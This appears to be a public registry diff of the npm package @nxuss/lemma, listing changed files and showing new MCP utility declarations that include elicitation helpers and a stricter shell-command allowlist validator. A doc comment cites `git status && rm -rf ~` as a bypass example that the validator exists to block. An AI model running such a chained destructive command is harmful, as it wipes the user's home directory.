@nxuss/lemma 1.18.0 → 1.18.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/mcp/cognitiveMap.d.ts +27 -0
- package/dist/cjs/mcp/cognitiveMap.d.ts.map +1 -0
- package/dist/cjs/mcp/cognitiveMap.js +47 -0
- package/dist/cjs/mcp/cognitiveMap.js.map +1 -0
- package/dist/cjs/mcp/toolTypes.d.ts +39 -0
- package/dist/cjs/mcp/toolTypes.d.ts.map +1 -0
- package/dist/cjs/mcp/toolTypes.js +8 -0
- package/dist/cjs/mcp/toolTypes.js.map +1 -0
- package/dist/cjs/mcp/tools/analysis.d.ts +11 -0
- package/dist/cjs/mcp/tools/analysis.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/analysis.js +933 -0
- package/dist/cjs/mcp/tools/analysis.js.map +1 -0
- package/dist/cjs/mcp/tools/codenav.d.ts +9 -0
- package/dist/cjs/mcp/tools/codenav.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/codenav.js +524 -0
- package/dist/cjs/mcp/tools/codenav.js.map +1 -0
- package/dist/cjs/mcp/tools/context-tools.d.ts +20 -0
- package/dist/cjs/mcp/tools/context-tools.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/context-tools.js +543 -0
- package/dist/cjs/mcp/tools/context-tools.js.map +1 -0
- package/dist/cjs/mcp/tools/depgraph.d.ts +8 -0
- package/dist/cjs/mcp/tools/depgraph.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/depgraph.js +321 -0
- package/dist/cjs/mcp/tools/depgraph.js.map +1 -0
- package/dist/cjs/mcp/tools/dev-utils.d.ts +11 -0
- package/dist/cjs/mcp/tools/dev-utils.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/dev-utils.js +519 -0
- package/dist/cjs/mcp/tools/dev-utils.js.map +1 -0
- package/dist/cjs/mcp/tools/devtools.d.ts +9 -0
- package/dist/cjs/mcp/tools/devtools.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/devtools.js +445 -0
- package/dist/cjs/mcp/tools/devtools.js.map +1 -0
- package/dist/cjs/mcp/tools/memory.d.ts +10 -0
- package/dist/cjs/mcp/tools/memory.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/memory.js +539 -0
- package/dist/cjs/mcp/tools/memory.js.map +1 -0
- package/dist/cjs/mcp/tools/misc.d.ts +10 -0
- package/dist/cjs/mcp/tools/misc.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/misc.js +423 -0
- package/dist/cjs/mcp/tools/misc.js.map +1 -0
- package/dist/cjs/mcp/tools/refactor.d.ts +8 -0
- package/dist/cjs/mcp/tools/refactor.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/refactor.js +335 -0
- package/dist/cjs/mcp/tools/refactor.js.map +1 -0
- package/dist/cjs/mcp/tools/review.d.ts +10 -0
- package/dist/cjs/mcp/tools/review.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/review.js +283 -0
- package/dist/cjs/mcp/tools/review.js.map +1 -0
- package/dist/cjs/mcp/tools/squeeze-cache.d.ts +14 -0
- package/dist/cjs/mcp/tools/squeeze-cache.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/squeeze-cache.js +418 -0
- package/dist/cjs/mcp/tools/squeeze-cache.js.map +1 -0
- package/dist/cjs/mcp/tools/text-ops.d.ts +14 -0
- package/dist/cjs/mcp/tools/text-ops.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/text-ops.js +155 -0
- package/dist/cjs/mcp/tools/text-ops.js.map +1 -0
- package/dist/cjs/mcp/tools/workspace.d.ts +10 -0
- package/dist/cjs/mcp/tools/workspace.d.ts.map +1 -0
- package/dist/cjs/mcp/tools/workspace.js +675 -0
- package/dist/cjs/mcp/tools/workspace.js.map +1 -0
- package/dist/cjs/mcp/tools.d.ts.map +1 -1
- package/dist/cjs/mcp/tools.js +636 -6388
- package/dist/cjs/mcp/tools.js.map +1 -1
- package/dist/cjs/mcp/utils.d.ts +55 -2
- package/dist/cjs/mcp/utils.d.ts.map +1 -1
- package/dist/cjs/mcp/utils.js +194 -10
- package/dist/cjs/mcp/utils.js.map +1 -1
- package/dist/cjs/mcp/workspaceShared.d.ts +19 -0
- package/dist/cjs/mcp/workspaceShared.d.ts.map +1 -0
- package/dist/cjs/mcp/workspaceShared.js +101 -0
- package/dist/cjs/mcp/workspaceShared.js.map +1 -0
- package/dist/cjs/package.json +3 -0
- package/dist/cjs/utils/ExecAuditLog.d.ts +27 -0
- package/dist/cjs/utils/ExecAuditLog.d.ts.map +1 -0
- package/dist/cjs/utils/ExecAuditLog.js +53 -0
- package/dist/cjs/utils/ExecAuditLog.js.map +1 -0
- package/dist/esm/api/dashboardRoutes.d.ts +3 -3
- package/dist/esm/api/dashboardRoutes.js +1 -1
- package/dist/esm/api/server.d.ts +4 -4
- package/dist/esm/api/server.js +3 -3
- package/dist/esm/autopilot/AutopilotWatcher.js +3 -3
- package/dist/esm/autopilot/Notifier.d.ts +1 -1
- package/dist/esm/cli/lemma-proxy.js +15 -15
- package/dist/esm/cli/stack.d.ts +4 -4
- package/dist/esm/cli/stack.js +5 -5
- package/dist/esm/cloud/KeyManager.d.ts +1 -1
- package/dist/esm/cloud/KeyManager.js +1 -1
- package/dist/esm/cloud/TenantCache.d.ts +1 -1
- package/dist/esm/cloud/identity/ApiKey.d.ts +1 -1
- package/dist/esm/cloud/identity/TenantResolver.d.ts +1 -1
- package/dist/esm/cloud/identity/TenantResolver.js +1 -1
- package/dist/esm/cloud/identity/authenticateV2.d.ts +3 -3
- package/dist/esm/cloud/identity/authenticateV2.js +3 -3
- package/dist/esm/cloud/identity/identityStore.d.ts +2 -2
- package/dist/esm/cloud/identity/index.d.ts +6 -6
- package/dist/esm/cloud/identity/index.js +6 -6
- package/dist/esm/cloud/index.d.ts +3 -3
- package/dist/esm/cloud/index.js +3 -3
- package/dist/esm/cloud/metering/UsageLedger.d.ts +1 -1
- package/dist/esm/cloud/metering/index.d.ts +2 -2
- package/dist/esm/cloud/metering/index.js +2 -2
- package/dist/esm/cloud/scrub/StatelessScrubber.d.ts +1 -1
- package/dist/esm/cloud/scrub/index.d.ts +1 -1
- package/dist/esm/cloud/scrub/index.js +1 -1
- package/dist/esm/cloud/server.d.ts +3 -3
- package/dist/esm/cloud/server.js +5 -5
- package/dist/esm/cloud/store/FileBrainStore.d.ts +1 -1
- package/dist/esm/cloud/store/FileBrainStore.js +1 -1
- package/dist/esm/cloud/store/PostgresBrainStore.d.ts +1 -1
- package/dist/esm/cloud/store/PostgresBrainStore.js +2 -2
- package/dist/esm/cloud/store/index.d.ts +2 -2
- package/dist/esm/cloud/store/index.js +2 -2
- package/dist/esm/cloud/v2/app.d.ts +1 -1
- package/dist/esm/cloud/v2/app.js +3 -3
- package/dist/esm/cloud/v2/routes/index.d.ts +5 -5
- package/dist/esm/cloud/v2/routes/index.js +7 -7
- package/dist/esm/cloud/v2/routes/memories.d.ts +4 -4
- package/dist/esm/cloud/v2/routes/memories.js +2 -2
- package/dist/esm/cloud/v2/routes/recall.d.ts +1 -1
- package/dist/esm/cloud/v2/routes/recall.js +1 -1
- package/dist/esm/cloud/v2/routes/scrub.d.ts +2 -2
- package/dist/esm/cloud/v2/routes/scrub.js +2 -2
- package/dist/esm/cloud/v2/routes/usage.d.ts +1 -1
- package/dist/esm/cloud/v2/routes/verify.d.ts +1 -1
- package/dist/esm/cloud/v2/routes/verify.js +1 -1
- package/dist/esm/cloud/v2/server.js +4 -4
- package/dist/esm/config/index.d.ts +1 -1
- package/dist/esm/config/index.js +1 -1
- package/dist/esm/consensus/index.d.ts +2 -2
- package/dist/esm/consensus/index.js +2 -2
- package/dist/esm/contracts/api-v2.types.d.ts +1 -1
- package/dist/esm/contracts/index.d.ts +4 -4
- package/dist/esm/contracts/index.js +4 -4
- package/dist/esm/core/AgentRegistry.d.ts +1 -1
- package/dist/esm/core/AgentRegistry.js +1 -1
- package/dist/esm/core/DashboardBroadcaster.d.ts +3 -3
- package/dist/esm/core/DashboardBroadcaster.js +2 -2
- package/dist/esm/core/DashboardWebSocketServer.d.ts +1 -1
- package/dist/esm/core/DashboardWebSocketServer.js +1 -1
- package/dist/esm/core/GhostAlchemist.js +1 -1
- package/dist/esm/core/GhostListener.js +2 -2
- package/dist/esm/core/OrchestrationEngine.d.ts +3 -3
- package/dist/esm/core/OrchestrationEngine.js +2 -2
- package/dist/esm/core/SubconsciousEngine.d.ts +1 -1
- package/dist/esm/core/SubconsciousEngine.js +2 -2
- package/dist/esm/core/WebSocketServer.d.ts +2 -2
- package/dist/esm/core/WebSocketServer.js +1 -1
- package/dist/esm/core/index.d.ts +6 -6
- package/dist/esm/core/index.js +6 -6
- package/dist/esm/core/router.d.ts +3 -3
- package/dist/esm/core/router.js +1 -1
- package/dist/esm/db/database.js +1 -1
- package/dist/esm/embed.d.ts +2 -2
- package/dist/esm/embed.js +2 -2
- package/dist/esm/examples/basic-usage.js +1 -1
- package/dist/esm/index.d.ts +14 -14
- package/dist/esm/index.js +14 -14
- package/dist/esm/infra/analyzers/DriftDetector.d.ts +1 -1
- package/dist/esm/infra/analyzers/InfraAnalyzer.d.ts +1 -1
- package/dist/esm/infra/analyzers/MonolithAnalyzer.d.ts +1 -1
- package/dist/esm/infra/analyzers/index.d.ts +3 -3
- package/dist/esm/infra/analyzers/index.js +3 -3
- package/dist/esm/infra/cli.js +2 -2
- package/dist/esm/infra/config.d.ts +1 -1
- package/dist/esm/infra/index.d.ts +5 -5
- package/dist/esm/infra/index.js +5 -5
- package/dist/esm/infra/mcp-tools.js +5 -5
- package/dist/esm/infra/providers/InfraProvider.d.ts +1 -1
- package/dist/esm/infra/providers/JenkinsProvider.d.ts +2 -2
- package/dist/esm/infra/providers/OKDProvider.d.ts +2 -2
- package/dist/esm/infra/providers/TerraformProvider.d.ts +2 -2
- package/dist/esm/infra/providers/index.d.ts +5 -5
- package/dist/esm/infra/providers/index.js +3 -3
- package/dist/esm/mcp/cognitiveMap.d.ts +27 -0
- package/dist/esm/mcp/cognitiveMap.d.ts.map +1 -0
- package/dist/esm/mcp/cognitiveMap.js +40 -0
- package/dist/esm/mcp/cognitiveMap.js.map +1 -0
- package/dist/esm/mcp/index.js +5 -5
- package/dist/esm/mcp/prompts.js +1 -1
- package/dist/esm/mcp/resources.js +2 -2
- package/dist/esm/mcp/tasks.js +1 -1
- package/dist/esm/mcp/tool-profiles.js +1 -1
- package/dist/esm/mcp/toolTypes.d.ts +39 -0
- package/dist/esm/mcp/toolTypes.d.ts.map +1 -0
- package/dist/esm/mcp/toolTypes.js +7 -0
- package/dist/esm/mcp/toolTypes.js.map +1 -0
- package/dist/esm/mcp/tools/analysis.d.ts +11 -0
- package/dist/esm/mcp/tools/analysis.d.ts.map +1 -0
- package/dist/esm/mcp/tools/analysis.js +894 -0
- package/dist/esm/mcp/tools/analysis.js.map +1 -0
- package/dist/esm/mcp/tools/codenav.d.ts +9 -0
- package/dist/esm/mcp/tools/codenav.d.ts.map +1 -0
- package/dist/esm/mcp/tools/codenav.js +485 -0
- package/dist/esm/mcp/tools/codenav.js.map +1 -0
- package/dist/esm/mcp/tools/context-tools.d.ts +20 -0
- package/dist/esm/mcp/tools/context-tools.d.ts.map +1 -0
- package/dist/esm/mcp/tools/context-tools.js +503 -0
- package/dist/esm/mcp/tools/context-tools.js.map +1 -0
- package/dist/esm/mcp/tools/depgraph.d.ts +8 -0
- package/dist/esm/mcp/tools/depgraph.d.ts.map +1 -0
- package/dist/esm/mcp/tools/depgraph.js +315 -0
- package/dist/esm/mcp/tools/depgraph.js.map +1 -0
- package/dist/esm/mcp/tools/dev-utils.d.ts +11 -0
- package/dist/esm/mcp/tools/dev-utils.d.ts.map +1 -0
- package/dist/esm/mcp/tools/dev-utils.js +516 -0
- package/dist/esm/mcp/tools/dev-utils.js.map +1 -0
- package/dist/esm/mcp/tools/devtools.d.ts +9 -0
- package/dist/esm/mcp/tools/devtools.d.ts.map +1 -0
- package/dist/esm/mcp/tools/devtools.js +406 -0
- package/dist/esm/mcp/tools/devtools.js.map +1 -0
- package/dist/esm/mcp/tools/memory.d.ts +10 -0
- package/dist/esm/mcp/tools/memory.d.ts.map +1 -0
- package/dist/esm/mcp/tools/memory.js +533 -0
- package/dist/esm/mcp/tools/memory.js.map +1 -0
- package/dist/esm/mcp/tools/misc.d.ts +10 -0
- package/dist/esm/mcp/tools/misc.d.ts.map +1 -0
- package/dist/esm/mcp/tools/misc.js +417 -0
- package/dist/esm/mcp/tools/misc.js.map +1 -0
- package/dist/esm/mcp/tools/refactor.d.ts +8 -0
- package/dist/esm/mcp/tools/refactor.d.ts.map +1 -0
- package/dist/esm/mcp/tools/refactor.js +296 -0
- package/dist/esm/mcp/tools/refactor.js.map +1 -0
- package/dist/esm/mcp/tools/review.d.ts +10 -0
- package/dist/esm/mcp/tools/review.d.ts.map +1 -0
- package/dist/esm/mcp/tools/review.js +277 -0
- package/dist/esm/mcp/tools/review.js.map +1 -0
- package/dist/esm/mcp/tools/squeeze-cache.d.ts +14 -0
- package/dist/esm/mcp/tools/squeeze-cache.d.ts.map +1 -0
- package/dist/esm/mcp/tools/squeeze-cache.js +382 -0
- package/dist/esm/mcp/tools/squeeze-cache.js.map +1 -0
- package/dist/esm/mcp/tools/text-ops.d.ts +14 -0
- package/dist/esm/mcp/tools/text-ops.d.ts.map +1 -0
- package/dist/esm/mcp/tools/text-ops.js +152 -0
- package/dist/esm/mcp/tools/text-ops.js.map +1 -0
- package/dist/esm/mcp/tools/workspace.d.ts +10 -0
- package/dist/esm/mcp/tools/workspace.d.ts.map +1 -0
- package/dist/esm/mcp/tools/workspace.js +669 -0
- package/dist/esm/mcp/tools/workspace.js.map +1 -0
- package/dist/esm/mcp/tools.d.ts +1 -1
- package/dist/esm/mcp/tools.d.ts.map +1 -1
- package/dist/esm/mcp/tools.js +652 -6404
- package/dist/esm/mcp/tools.js.map +1 -1
- package/dist/esm/mcp/utils.d.ts +55 -2
- package/dist/esm/mcp/utils.d.ts.map +1 -1
- package/dist/esm/mcp/utils.js +189 -10
- package/dist/esm/mcp/utils.js.map +1 -1
- package/dist/esm/mcp/workspaceShared.d.ts +19 -0
- package/dist/esm/mcp/workspaceShared.d.ts.map +1 -0
- package/dist/esm/mcp/workspaceShared.js +93 -0
- package/dist/esm/mcp/workspaceShared.js.map +1 -0
- package/dist/esm/observability/IdeContextSync.d.ts +1 -1
- package/dist/esm/observability/IdeContextSync.js +5 -5
- package/dist/esm/package.json +3 -0
- package/dist/esm/pr-review/PRReviewEngine.d.ts +1 -1
- package/dist/esm/pr-review/PRReviewEngine.js +4 -4
- package/dist/esm/pr-review/ReviewStore.d.ts +1 -1
- package/dist/esm/pr-review/adapters/AzureDevOpsAdapter.d.ts +2 -2
- package/dist/esm/pr-review/adapters/AzureDevOpsAdapter.js +1 -1
- package/dist/esm/pr-review/adapters/GitHubAdapter.d.ts +2 -2
- package/dist/esm/pr-review/adapters/GitHubAdapter.js +1 -1
- package/dist/esm/pr-review/adapters/GitLabAdapter.d.ts +2 -2
- package/dist/esm/pr-review/adapters/GitLabAdapter.js +1 -1
- package/dist/esm/pr-review/adapters/GitPlatformAdapter.d.ts +1 -1
- package/dist/esm/pr-review/adapters/index.d.ts +4 -4
- package/dist/esm/pr-review/adapters/index.js +3 -3
- package/dist/esm/pr-review/analyzers/QualityGrader.d.ts +1 -1
- package/dist/esm/pr-review/analyzers/RegressionDetector.d.ts +1 -1
- package/dist/esm/pr-review/analyzers/SecurityScanner.d.ts +1 -1
- package/dist/esm/pr-review/analyzers/StaticAnalyzer.d.ts +1 -1
- package/dist/esm/pr-review/analyzers/index.d.ts +8 -8
- package/dist/esm/pr-review/analyzers/index.js +4 -4
- package/dist/esm/pr-review/bridge/BrainBridge.d.ts +1 -1
- package/dist/esm/pr-review/bridge/BrainBridge.js +1 -1
- package/dist/esm/pr-review/bridge/index.d.ts +1 -1
- package/dist/esm/pr-review/bridge/index.js +1 -1
- package/dist/esm/pr-review/index.d.ts +4 -4
- package/dist/esm/pr-review/index.js +2 -2
- package/dist/esm/pr-review/reviewRunner.d.ts +2 -2
- package/dist/esm/pr-review/reviewRunner.js +6 -6
- package/dist/esm/pr-review/webhook/WebhookServer.js +1 -1
- package/dist/esm/pr-review/webhook/index.d.ts +1 -1
- package/dist/esm/pr-review/webhook/index.js +1 -1
- package/dist/esm/protocol/flows.d.ts +1 -1
- package/dist/esm/protocol/flows.js +1 -1
- package/dist/esm/protocol/index.d.ts +4 -4
- package/dist/esm/protocol/index.js +4 -4
- package/dist/esm/protocol/utils.d.ts +1 -1
- package/dist/esm/protocol/utils.js +2 -2
- package/dist/esm/protocol/validators.d.ts +1 -1
- package/dist/esm/protocol/validators.js +1 -1
- package/dist/esm/proxy/ContextInjector.d.ts +1 -1
- package/dist/esm/proxy/Gatekeeper.d.ts +1 -1
- package/dist/esm/security/SecurityMiddleware.d.ts +1 -1
- package/dist/esm/security/SecurityMiddleware.js +3 -3
- package/dist/esm/security/index.d.ts +4 -4
- package/dist/esm/security/index.js +4 -4
- package/dist/esm/speculative/SpeculativeCache.d.ts +2 -2
- package/dist/esm/speculative/SpeculativeEngine.d.ts +2 -2
- package/dist/esm/speculative/SpeculativeEngine.js +3 -3
- package/dist/esm/speculative/WorkerPool.d.ts +1 -1
- package/dist/esm/speculative/index.d.ts +4 -4
- package/dist/esm/speculative/index.js +4 -4
- package/dist/esm/subconscious/GitIngest.d.ts +1 -1
- package/dist/esm/subconscious/GitIngest.js +1 -1
- package/dist/esm/subconscious/SemanticCache.d.ts +2 -2
- package/dist/esm/subconscious/SemanticCache.js +2 -2
- package/dist/esm/subconscious/SubconsciousEngine.d.ts +1 -1
- package/dist/esm/subconscious/SubconsciousEngine.js +3 -3
- package/dist/esm/subconscious/TheBrainV2.d.ts +1 -1
- package/dist/esm/subconscious/TheBrainV2.js +2 -2
- package/dist/esm/subconscious/freshness/LocalFsResolver.d.ts +1 -1
- package/dist/esm/subconscious/freshness/LocalFsResolver.js +1 -1
- package/dist/esm/subconscious/freshness/SuppliedEvidenceResolver.d.ts +1 -1
- package/dist/esm/subconscious/freshness/index.d.ts +2 -2
- package/dist/esm/subconscious/freshness/index.js +2 -2
- package/dist/esm/subconscious/index.d.ts +4 -4
- package/dist/esm/subconscious/index.js +4 -4
- package/dist/esm/utils/AffectedTests.js +1 -1
- package/dist/esm/utils/AutoContextBundle.d.ts +1 -1
- package/dist/esm/utils/AutoContextBundle.js +4 -4
- package/dist/esm/utils/BulkFileDigest.js +2 -2
- package/dist/esm/utils/ClipboardWatcher.js +2 -2
- package/dist/esm/utils/ContextCollapser.js +1 -1
- package/dist/esm/utils/ConversationCheckpoint.js +1 -1
- package/dist/esm/utils/ExecAuditLog.d.ts +27 -0
- package/dist/esm/utils/ExecAuditLog.d.ts.map +1 -0
- package/dist/esm/utils/ExecAuditLog.js +45 -0
- package/dist/esm/utils/ExecAuditLog.js.map +1 -0
- package/dist/esm/utils/ExecutiveReport.js +1 -1
- package/dist/esm/utils/OutputLedger.js +2 -2
- package/dist/esm/utils/ReadWorkspaceCache.js +1 -1
- package/dist/esm/utils/SpeculativeWarmer.d.ts +1 -1
- package/dist/esm/utils/SpeculativeWarmer.js +2 -2
- package/dist/esm/utils/StateHashCache.js +1 -1
- package/dist/esm/utils/StructuralSearch.d.ts +1 -1
- package/dist/esm/utils/SurgicalASTInsert.js +1 -1
- package/dist/esm/utils/SymbolSurgicalContext.js +1 -1
- package/dist/esm/utils/TestAutofixInterceptor.js +1 -1
- package/dist/esm/utils/WorkspaceSearch.js +0 -0
- package/dist/esm/utils/logger.js +1 -1
- package/dist/esm/utils/reportSavings.js +1 -1
- package/package.json +3 -1
- package/sdks/crewai/dist/crewai/src/index.d.ts +131 -0
- package/sdks/crewai/dist/crewai/src/index.js +325 -0
- package/sdks/crewai/dist/crewai/src/memory.d.ts +36 -0
- package/sdks/crewai/dist/crewai/src/memory.js +61 -0
- package/sdks/crewai/dist/ts/src/client.d.ts +39 -0
- package/sdks/crewai/dist/ts/src/client.js +124 -0
- package/sdks/crewai/dist/ts/src/errors.d.ts +19 -0
- package/sdks/crewai/dist/ts/src/errors.js +18 -0
- package/sdks/crewai/dist/ts/src/evidence.d.ts +30 -0
- package/sdks/crewai/dist/ts/src/evidence.js +175 -0
- package/sdks/crewai/dist/ts/src/index.d.ts +4 -0
- package/sdks/crewai/dist/ts/src/index.js +27 -0
- package/sdks/crewai/dist/ts/src/types.d.ts +112 -0
- package/sdks/crewai/dist/ts/src/types.js +11 -0
package/dist/cjs/mcp/utils.d.ts
CHANGED
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import type { Server } from "@modelcontextprotocol/sdk/server/index.js";
|
|
1
2
|
export declare function getProxyPort(): string;
|
|
2
3
|
export declare function clearProxyPortCache(): void;
|
|
3
4
|
export declare function safeResolvePath(workspaceRoot: string, filePath: string): {
|
|
@@ -8,17 +9,69 @@ export declare function sanitizeArgsForLogging(args: Record<string, any>): Recor
|
|
|
8
9
|
export declare function estimateTokensFromResult(result: any): number;
|
|
9
10
|
export declare function logError(context: string, error: unknown): void;
|
|
10
11
|
export declare function logWarn(context: string, message: string): void;
|
|
12
|
+
export declare function setMcpServerRef(server: Server): void;
|
|
13
|
+
/**
|
|
14
|
+
* The connected host's clientInfo (name/version) from the MCP initialize handshake — e.g.
|
|
15
|
+
* "cursor"/"claude-code"/"codex". Tool handlers only run after the handshake completes, so
|
|
16
|
+
* this is already populated by the time any of them call it; no separate capture step needed.
|
|
17
|
+
* Note this identifies the *host*, not the underlying model it's using — Cursor/Windsurf let
|
|
18
|
+
* the user pick GPT or Claude per session, so it cannot be used to select a tokenizer.
|
|
19
|
+
*/
|
|
20
|
+
export declare function getConnectedClientInfo(): {
|
|
21
|
+
name: string;
|
|
22
|
+
version: string;
|
|
23
|
+
} | undefined;
|
|
24
|
+
/**
|
|
25
|
+
* The default similarity floor a memory must clear before search_memory/smarter_cache
|
|
26
|
+
* treat it as a real hit rather than noise. Shared so both paths agree on what counts.
|
|
27
|
+
*/
|
|
28
|
+
export declare const DEFAULT_MEMORY_SIMILARITY_FLOOR = 0.75;
|
|
29
|
+
/**
|
|
30
|
+
* Ask the client to confirm a destructive action before it happens.
|
|
31
|
+
*
|
|
32
|
+
* Mirrors the defensive shape of trySamplingContext() in src/mcp/index.ts: most clients
|
|
33
|
+
* today don't support elicitation, so any failure (unsupported capability, timeout,
|
|
34
|
+
* malformed response) must fall back to "proceed without confirmation" rather than block
|
|
35
|
+
* or error out the tool. This is a courtesy prompt for clients that support it, not a
|
|
36
|
+
* security boundary — the allowlist/path-safety checks each handler already does are that.
|
|
37
|
+
*/
|
|
38
|
+
export declare function tryElicitConfirmation(summary: string): Promise<{
|
|
39
|
+
supported: boolean;
|
|
40
|
+
confirmed: boolean;
|
|
41
|
+
}>;
|
|
42
|
+
/**
|
|
43
|
+
* Ask the client to pick one of several candidates via a typed (oneOf) elicitation form,
|
|
44
|
+
* instead of the plain confirm/deny shape tryElicitConfirmation uses. Same defensive
|
|
45
|
+
* contract: no support, a decline, or a malformed response all just mean "couldn't
|
|
46
|
+
* resolve it this way" — the caller falls back to its own error/default behavior, never
|
|
47
|
+
* blocks or throws.
|
|
48
|
+
*/
|
|
49
|
+
export declare function tryElicitChoice(message: string, options: Array<{
|
|
50
|
+
title: string;
|
|
51
|
+
}>): Promise<{
|
|
52
|
+
supported: boolean;
|
|
53
|
+
index: number | null;
|
|
54
|
+
}>;
|
|
11
55
|
/**
|
|
12
56
|
* Loads allowed command prefixes by merging the hardcoded defaults with
|
|
13
57
|
* any user-defined extensions in lemma.config.json under `mcp.allowedCommandPrefixes`.
|
|
14
58
|
*/
|
|
15
59
|
export declare function loadAllowedCommands(): string[];
|
|
16
60
|
/**
|
|
17
|
-
*
|
|
18
|
-
*
|
|
61
|
+
* Structurally validates a command string against the allowlist.
|
|
62
|
+
*
|
|
63
|
+
* A first-token-only check is not enough: `run_workspace_command` executes via
|
|
64
|
+
* `spawn(command, { shell: true })`, so the whole string reaches a real shell. An allowed
|
|
65
|
+
* prefix followed by `&&`, `;`, `|`, redirection, or substitution can run anything —
|
|
66
|
+
* `git status && rm -rf ~` passes a first-token check because `git` is allowed, but the
|
|
67
|
+
* shell still runs the `rm`. This walks the parsed token stream instead: every clause
|
|
68
|
+
* between chain operators must independently pass the allowlist, and redirection,
|
|
69
|
+
* substitution, backgrounding, and subshells are rejected outright rather than enumerated
|
|
70
|
+
* as "not yet seen as dangerous".
|
|
19
71
|
*/
|
|
20
72
|
export declare function isCommandAllowed(command: string): {
|
|
21
73
|
allowed: boolean;
|
|
22
74
|
prefix?: string;
|
|
75
|
+
reason?: string;
|
|
23
76
|
};
|
|
24
77
|
//# sourceMappingURL=utils.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"utils.d.ts","sourceRoot":"","sources":["../../../src/mcp/utils.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"utils.d.ts","sourceRoot":"","sources":["../../../src/mcp/utils.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,2CAA2C,CAAC;AAIxE,wBAAgB,YAAY,IAAI,MAAM,CAYrC;AAED,wBAAgB,mBAAmB,IAAI,IAAI,CAE1C;AAED,wBAAgB,eAAe,CAAC,aAAa,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG;IAAE,QAAQ,EAAE,MAAM,CAAC;IAAC,YAAY,EAAE,MAAM,CAAA;CAAE,CAmCnH;AAED,wBAAgB,sBAAsB,CAAC,IAAI,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,CAcrF;AAED,wBAAgB,wBAAwB,CAAC,MAAM,EAAE,GAAG,GAAG,MAAM,CAK5D;AAED,wBAAgB,QAAQ,CAAC,OAAO,EAAE,MAAM,EAAE,KAAK,EAAE,OAAO,GAAG,IAAI,CAG9D;AAED,wBAAgB,OAAO,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,IAAI,CAE9D;AASD,wBAAgB,eAAe,CAAC,MAAM,EAAE,MAAM,GAAG,IAAI,CAEpD;AAED;;;;;;GAMG;AACH,wBAAgB,sBAAsB,IAAI;IAAE,IAAI,EAAE,MAAM,CAAC;IAAC,OAAO,EAAE,MAAM,CAAA;CAAE,GAAG,SAAS,CAEtF;AAED;;;GAGG;AACH,eAAO,MAAM,+BAA+B,OAAO,CAAC;AAEpD;;;;;;;;GAQG;AACH,wBAAsB,qBAAqB,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC;IAAE,SAAS,EAAE,OAAO,CAAC;IAAC,SAAS,EAAE,OAAO,CAAA;CAAE,CAAC,CA2BhH;AAED;;;;;;GAMG;AACH,wBAAsB,eAAe,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,KAAK,CAAC;IAAE,KAAK,EAAE,MAAM,CAAA;CAAE,CAAC,GAAG,OAAO,CAAC;IAAE,SAAS,EAAE,OAAO,CAAC;IAAC,KAAK,EAAE,MAAM,GAAG,IAAI,CAAA;CAAE,CAAC,CA6B/I;AA8DD;;;GAGG;AACH,wBAAgB,mBAAmB,IAAI,MAAM,EAAE,CAgB9C;AAED;;;;;;;;;;;GAWG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,MAAM,GAAG;IAAE,OAAO,EAAE,OAAO,CAAC;IAAC,MAAM,CAAC,EAAE,MAAM,CAAC;IAAC,MAAM,CAAC,EAAE,MAAM,CAAA;CAAE,CA8DxG"}
|
package/dist/cjs/mcp/utils.js
CHANGED
|
@@ -3,6 +3,7 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
|
3
3
|
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
4
|
};
|
|
5
5
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.DEFAULT_MEMORY_SIMILARITY_FLOOR = void 0;
|
|
6
7
|
exports.getProxyPort = getProxyPort;
|
|
7
8
|
exports.clearProxyPortCache = clearProxyPortCache;
|
|
8
9
|
exports.safeResolvePath = safeResolvePath;
|
|
@@ -10,11 +11,16 @@ exports.sanitizeArgsForLogging = sanitizeArgsForLogging;
|
|
|
10
11
|
exports.estimateTokensFromResult = estimateTokensFromResult;
|
|
11
12
|
exports.logError = logError;
|
|
12
13
|
exports.logWarn = logWarn;
|
|
14
|
+
exports.setMcpServerRef = setMcpServerRef;
|
|
15
|
+
exports.getConnectedClientInfo = getConnectedClientInfo;
|
|
16
|
+
exports.tryElicitConfirmation = tryElicitConfirmation;
|
|
17
|
+
exports.tryElicitChoice = tryElicitChoice;
|
|
13
18
|
exports.loadAllowedCommands = loadAllowedCommands;
|
|
14
19
|
exports.isCommandAllowed = isCommandAllowed;
|
|
15
20
|
const fs_1 = __importDefault(require("fs"));
|
|
16
21
|
const path_1 = __importDefault(require("path"));
|
|
17
22
|
const os_1 = __importDefault(require("os"));
|
|
23
|
+
const shell_quote_1 = require("shell-quote");
|
|
18
24
|
let cachedPort = null;
|
|
19
25
|
function getProxyPort() {
|
|
20
26
|
if (cachedPort)
|
|
@@ -103,6 +109,108 @@ function logError(context, error) {
|
|
|
103
109
|
function logWarn(context, message) {
|
|
104
110
|
console.warn(`[Lemma MCP:${context}] ${message}`);
|
|
105
111
|
}
|
|
112
|
+
// ── Elicitation (spec 2026-07-28's recommended pattern for destructive actions) ────
|
|
113
|
+
//
|
|
114
